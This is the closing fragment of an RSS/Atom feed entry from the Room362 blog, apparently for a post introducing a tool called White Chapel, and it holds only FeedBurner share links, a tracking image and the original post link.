&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=oNr85CY0c3Y:2HzjvTHMxw8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=oNr85CY0c3Y:2HzjvTHMxw8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=oNr85CY0c3Y:2HzjvTHMxw8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=oNr85CY0c3Y:2HzjvTHMxw8:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=oNr85CY0c3Y:2HzjvTHMxw8:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/oNr85CY0c3Y" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/1/19/intro-to-white-chapel.html</feedburner:origLink></entry></feed>
